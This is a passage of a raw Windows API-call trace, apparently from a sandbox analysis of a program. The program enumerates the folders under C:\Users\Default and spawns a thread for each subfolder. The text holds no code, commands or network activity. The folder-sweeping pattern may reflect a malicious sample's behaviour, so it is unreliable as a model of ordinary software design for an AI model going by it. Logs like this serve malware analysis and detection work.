dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9cc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58 [0090.835] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0090.835] wcscmp (_String1="Windows Live", _String2=".") returned 1 [0090.835] wcscmp (_String1="Windows Live", _String2="..") returned 1 [0090.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9c7f0 [0090.836] wcscpy (in: _Dest=0x1cd9c7f0, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0090.836] wcscat (in: _Dest=0x1cd9c7f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0090.836] wcscat (in: _Dest=0x1cd9c7f0, _Source="Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0090.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c [0090.836] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0090.837] FindClose (in: hFindFile=0x1cd9cd90 | out: hFindFile=0x1cd9cd90) returned 1 [0090.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0090.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0090.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8200) returned 1 Thread: id = 294 os_tid = 0xdc8 [0087.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d81c0 [0087.997] wcscpy (in: _Dest=0x1b7d81c0, _Source="C:\\Users\\Default\\Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0087.997] wcscat (in: _Dest=0x1b7d81c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0087.997] wcscat (in: _Dest=0x1b7d81c0, _Source="*" | out: _Dest="C:\\Users\\Default\\Links\\*") returned="C:\\Users\\Default\\Links\\*" [0087.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0087.998] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cdf0 [0088.000] wcscmp (_String1=".", _String2=".") returned 0 [0088.000] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.000] wcscmp (_String1="..", _String2=".") returned 1 [0088.000] wcscmp (_String1="..", _String2="..") returned 0 [0088.000] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.001] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.001] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.001] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0088.001] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1 [0088.001] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1 [0088.001] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0088.001] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1 [0088.001] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1 [0088.001] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0088.001] wcscmp (_String1="RecentPlaces.lnk", _String2=".") returned 1 [0088.001] wcscmp (_String1="RecentPlaces.lnk", _String2="..") returned 1 [0088.001] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0088.001] FindClose (in: hFindFile=0x1cd9cdf0 | out: hFindFile=0x1cd9cdf0) returned 1 [0088.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d81c0) returned 1 [0088.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8240) returned 1 Thread: id = 295 os_tid = 0xdcc [0088.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd97350 [0088.004] wcscpy (in: _Dest=0x1cd97350, _Source="C:\\Users\\Default\\Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0088.004] wcscat (in: _Dest=0x1cd97350, _Source="\\" | out: _Dest="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0088.004] wcscat (in: _Dest=0x1cd97350, _Source="*" | out: _Dest="C:\\Users\\Default\\Local Settings\\*") returned="C:\\Users\\Default\\Local Settings\\*" [0088.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.004] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 Thread: id = 296 os_tid = 0xdd0 [0088.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8240 [0088.007] wcscpy (in: _Dest=0x1b7d8240, _Source="C:\\Users\\Default\\Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0088.007] wcscat (in: _Dest=0x1b7d8240, _Source="\\" | out: _Dest="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0088.007] wcscat (in: _Dest=0x1b7d8240, _Source="*" | out: _Dest="C:\\Users\\Default\\Music\\*") returned="C:\\Users\\Default\\Music\\*" [0088.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.007] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cdf0 [0088.007] wcscmp (_String1=".", _String2=".") returned 0 [0088.007] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.007] wcscmp (_String1="..", _String2=".") returned 1 [0088.007] wcscmp (_String1="..", _String2="..") returned 0 [0088.007] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.007] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.007] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.007] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.007] FindClose (in: hFindFile=0x1cd9cdf0 | out: hFindFile=0x1cd9cdf0) returned 1 [0088.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8240) returned 1 [0088.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8280) returned 1 Thread: id = 297 os_tid = 0xdd4 [0088.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0088.010] wcscpy (in: _Dest=0x1b82c580, _Source="C:\\Users\\Default\\My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0088.010] wcscat (in: _Dest=0x1b82c580, _Source="\\" | out: _Dest="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0088.010] wcscat (in: _Dest=0x1b82c580, _Source="*" | out: _Dest="C:\\Users\\Default\\My Documents\\*") returned="C:\\Users\\Default\\My Documents\\*" [0088.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.010] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0088.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 Thread: id = 298 os_tid = 0xdd8 [0088.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8280 [0088.012] wcscpy (in: _Dest=0x1b7d8280, _Source="C:\\Users\\Default\\NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0088.012] wcscat (in: _Dest=0x1b7d8280, _Source="\\" | out: _Dest="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0088.012] wcscat (in: _Dest=0x1b7d8280, _Source="*" | out: _Dest="C:\\Users\\Default\\NetHood\\*") returned="C:\\Users\\Default\\NetHood\\*" [0088.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.012] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8280) returned 1 [0088.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d82c0) returned 1 Thread: id = 299 os_tid = 0xddc [0088.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d82c0 [0088.015] wcscpy (in: _Dest=0x1b7d82c0, _Source="C:\\Users\\Default\\Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0088.015] wcscat (in: _Dest=0x1b7d82c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0088.015] wcscat (in: _Dest=0x1b7d82c0, _Source="*" | out: _Dest="C:\\Users\\Default\\Pictures\\*") returned="C:\\Users\\Default\\Pictures\\*" [0088.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.015] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cdf0 [0088.015] wcscmp (_String1=".", _String2=".") returned 0 [0088.015] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.015] wcscmp (_String1="..", _String2=".") returned 1 [0088.015] wcscmp (_String1="..", _String2="..") returned 0 [0088.015] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.015] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.015] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.016] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.016] FindClose (in: hFindFile=0x1cd9cdf0 | out: hFindFile=0x1cd9cdf0) returned 1 [0088.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d82c0) returned 1 [0088.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8300) returned 1 Thread: id = 300 os_tid = 0xde0 [0088.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c5d0 [0088.025] wcscpy (in: _Dest=0x1b82c5d0, _Source="C:\\Users\\Default\\PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0088.025] wcscat (in: _Dest=0x1b82c5d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0088.025] wcscat (in: _Dest=0x1b82c5d0, _Source="*" | out: _Dest="C:\\Users\\Default\\PrintHood\\*") returned="C:\\Users\\Default\\PrintHood\\*" [0088.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.025] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0088.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8340) returned 1 Thread: id = 301 os_tid = 0xde4 [0088.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8340 [0088.028] wcscpy (in: _Dest=0x1b7d8340, _Source="C:\\Users\\Default\\Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0088.028] wcscat (in: _Dest=0x1b7d8340, _Source="\\" | out: _Dest="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0088.028] wcscat (in: _Dest=0x1b7d8340, _Source="*" | out: _Dest="C:\\Users\\Default\\Recent\\*") returned="C:\\Users\\Default\\Recent\\*" [0088.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.028] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8340) returned 1 [0088.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8380) returned 1 Thread: id = 302 os_tid = 0xde8 [0088.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c5d0 [0088.030] wcscpy (in: _Dest=0x1b82c5d0, _Source="C:\\Users\\Default\\Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0088.030] wcscat (in: _Dest=0x1b82c5d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0088.030] wcscat (in: _Dest=0x1b82c5d0, _Source="*" | out: _Dest="C:\\Users\\Default\\Saved Games\\*") returned="C:\\Users\\Default\\Saved Games\\*" [0088.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.030] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cdf0 [0088.032] wcscmp (_String1=".", _String2=".") returned 0 [0088.032] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.032] wcscmp (_String1="..", _String2=".") returned 1 [0088.032] wcscmp (_String1="..", _String2="..") returned 0 [0088.032] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.032] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.032] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.032] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, 